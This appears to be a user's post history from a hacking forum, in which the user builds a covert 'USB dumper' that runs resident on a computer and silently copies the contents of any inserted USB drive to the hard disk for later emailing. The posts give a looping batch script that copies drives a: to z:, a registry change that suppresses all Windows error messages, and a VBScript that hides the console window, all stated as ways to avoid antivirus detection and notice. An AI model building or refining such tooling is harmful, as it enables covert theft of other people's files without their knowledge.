Jump to content

joebob105

Active Members
  • Posts

    14
  • Joined

  • Last visited

Everything posted by joebob105

  1. Worked perfectly! Thanks for you assistance.
  2. While I was testing my miserable attempt at recreating the usb hacksaw with a batch file, was stupid enough to unplug it without first killing the batch file. Something happened to my usb drive. Whenever I plug it in, my computer recognizes it (usb device view displays it and is shown in system tray). However, no letter is assigned to it. So, I am left with a useless/unaccessible drive. Fortunately, no important data was on it. Any suggestions on fixing my usb drive? Brand=EasyDrive (obscure but relatively cheap). Much appreciated.
  3. After a little more googling, I found a program which is capable of removing unnecessary drive letters while it is running. My script works with no error popups now. @Gonzor Please feel free to post the links anyway seeing as there might be a better way (thinking outloud...a way where admin is not required- the program I am using does). Thanks everyone for the help! Sorry about the delay in posting, I thought I would have some free time after work the other day but it turns out I have had to work double shifts this week, I will post an example when I get time, it should overcome the admin problem. Great! Can't wait to see the example.
  4. After a little more googling, I found a program which is capable of removing unnecessary drive letters while it is running. My script works with no error popups now. @Gonzor Please feel free to post the links anyway seeing as there might be a better way (thinking outloud...a way where admin is not required- the program I am using does). Thanks everyone for the help!
  5. correct. any suggestions?
  6. Sorry I wasn't clearer. I am trying to create a program which remains resident on a computer. When *any* usb drive is plugged in, the contents of it are dumped onto the HD so that they can be emailed off. This is precisely what the hacksaw does? So why am I trying to do this if hacksaw already exists? USB Dumper is detected by most antivirus programs. The script needs to be able to scan all drives (except c:) for information while not delivering error popups for nonexistent drives. Are the error popups merely something that occurs on my computer? Or is it universal as well? Thanks again.
  7. Here is my code/string of commands: :begin copy "a:" "c:files" copy "b:" "c:files" copy "d:" "c:files" copy "e:" "c:files" copy "f:" "c:files" copy "g:" "c:files" copy "h:" "c:files" copy "i:" "c:files" copy "j:" "c:files" copy "k:" "c:files" copy "l:" "c:files" copy "m:" "c:files" copy "n:" "c:files" copy "o:" "c:files" copy "p:" "c:files" copy "q:" "c:files" copy "r:" "c:files" copy "s:" "c:files" copy "t:" "c:files" copy "u:" "c:files" copy "v:" "c:files" copy "w:" "c:files" copy "x:" "c:files" copy "y:" "c:files" copy "z:" "c:files" goto begin This is my first attempt at creating a kind of "usb dumper" to use in the hacksaw so that it is not detected by av. After some experimentation, I found that no errors occur except on drive "g:", "h:", "i:", and "j:" Is there a specific reason for this? Is it possible for a usb drive to show up on one of these four letters or are they reserved for floppies/ and or network drives? Because if not, I will just leave them out and my problem will be solved.
  8. that will produce error messages if the drive doesn't exist Dont pay any attention to his posts. He is just tyring to be a dick if you go and see all his posts you will see what I mean. Try this Open notepad and paste the following in it. Set WshShell = WScript.CreateObject("WScript.Shell") Run_it = WshShell.Run("yourBatScript.bat", 0, True) Then save it as SomeFile.vbs and see what happens. Change yourBatScript.bat to the path of your bat script you want to run. I am not positive it will hide the error, but see what happens. Ah yes...I can see what you mean. I tried the .vbs trick. It successfully hides the batch file cmd window, but still produces an error message. Thanks anyway.
  9. that will produce error messages if the drive doesn't exist
  10. I've continued to google with no real results. The only fix I found for the errors was inserting this registry key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWindows] "ErrorMode"=dword:00000002 It will disable all error messages. Couldn't find any way else. I tried to use a "if not exist" command to errorcheck, but it still produced popup error messages. Any other methods of disguising error messages? Thanks very much. here is a photo of the windows error message:
  11. I am quite aware that this is a very n00bish question. How would I go about copying one file from one location to another location in visual basic script? I am trying to create something like usbdumper...only in vbs. A batch file won't work because it creates a pop-up error message when it checks a drive that is non-existent. I have checked google and found several scripts...none of which work. I was hoping that someone here might know more about vbs (or googling stuff) than I. Much appreciated.
  12. best to have it that way
  13. Not sure if this is the cause, but do you have admin privallages?
×
×
  • Create New...